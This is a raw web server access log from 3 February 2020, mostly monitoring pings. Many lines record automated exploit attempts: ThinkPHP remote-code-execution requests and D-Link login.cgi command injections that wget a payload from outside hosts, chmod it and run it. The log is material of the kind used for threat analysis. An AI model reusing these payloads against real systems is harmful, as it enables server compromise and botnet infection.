46.20.209.50 - - [03/Feb/2020:16:52:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.242.75.100 - - [03/Feb/2020:16:57:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.197.188 - - [03/Feb/2020:16:57:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:16:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:16:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.80.100.135 - - [03/Feb/2020:17:00:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:17:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.52.24.163 - - [03/Feb/2020:17:06:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
103.130.191.12 - - [03/Feb/2020:17:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:17:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.4.200 - - [03/Feb/2020:17:07:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.222.151.157 - - [03/Feb/2020:17:07:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [03/Feb/2020:17:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.56.213 - - [03/Feb/2020:17:08:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.68.52.16 - - [03/Feb/2020:17:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:17:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.136.78 - - [03/Feb/2020:17:11:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:17:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.90.89.26 - - [03/Feb/2020:17:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:17:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.189.143.2 - - [03/Feb/2020:17:27:19 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 400 329 "-" "Hello, World"
212.91.246.72 - - [03/Feb/2020:17:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [03/Feb/2020:17:28:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:17:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.68.90.108 - - [03/Feb/2020:17:36:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [03/Feb/2020:17:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.197.228 - - [03/Feb/2020:17:41:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:17:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.136.158 - - [03/Feb/2020:17:41:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.218.250.158 - - [03/Feb/2020:17:41:57 +0100] "e\x0e\xab\xbb_\xc8\xca!_\xfe\xe7n*\xc5:\xa1\xe1\x1b\xbb\xff2\xfd\xb3\xea\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 400 329 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:17:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.113.16.226 - - [03/Feb/2020:17:44:19 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.113.16.226 - - [03/Feb/2020:17:44:20 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.113.16.226 - - [03/Feb/2020:17:44:20 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.113.16.226 - - [03/Feb/2020:17:44:20 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.113.16.226 - - [03/Feb/2020:17:44:20 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.113.16.226 - - [03/Feb/2020:17:44:21 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.113.16.226 - - [03/Feb/2020:17:44:21 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.113.16.226 - - [03/Feb/2020:17:44:21 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
154.113.16.226 - - [03/Feb/2020:17:44:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [03/Feb/2020:17:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.198.174 - - [03/Feb/2020:17:47:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:17:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.213.117 - - [03/Feb/2020:17:47:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:17:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.177.106.133 - - [03/Feb/2020:17:49:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:17:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.241.37 - - [03/Feb/2020:17:51:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:17:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.136.212.6 - - [03/Feb/2020:17:53:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
209.159.154.190 - - [03/Feb/2020:17:54:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://94.177.216.74/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [03/Feb/2020:17:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.86.97.84 - - [03/Feb/2020:17:57:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:17:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:17:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.194.64.96 - - [03/Feb/2020:18:00:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:18:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.129.99 - - [03/Feb/2020:18:12:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:18:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.0.121.227 - - [03/Feb/2020:18:14:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:18:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.233.207.74 - - [03/Feb/2020:18:16:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (CMS Crawler: http://www.cmscrawler.com)"
212.91.246.72 - - [03/Feb/2020:18:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.11.136.78 - - [03/Feb/2020:18:19:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:18:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.80.115 - - [03/Feb/2020:18:20:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.230.74.234 - - [03/Feb/2020:18:20:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:18:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:18:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.208.43 - - [03/Feb/2020:18:21:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.1.55 - - [03/Feb/2020:18:21:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.166 - - [03/Feb/2020:18:22:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.138.154.218 - - [03/Feb/2020:18:22:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
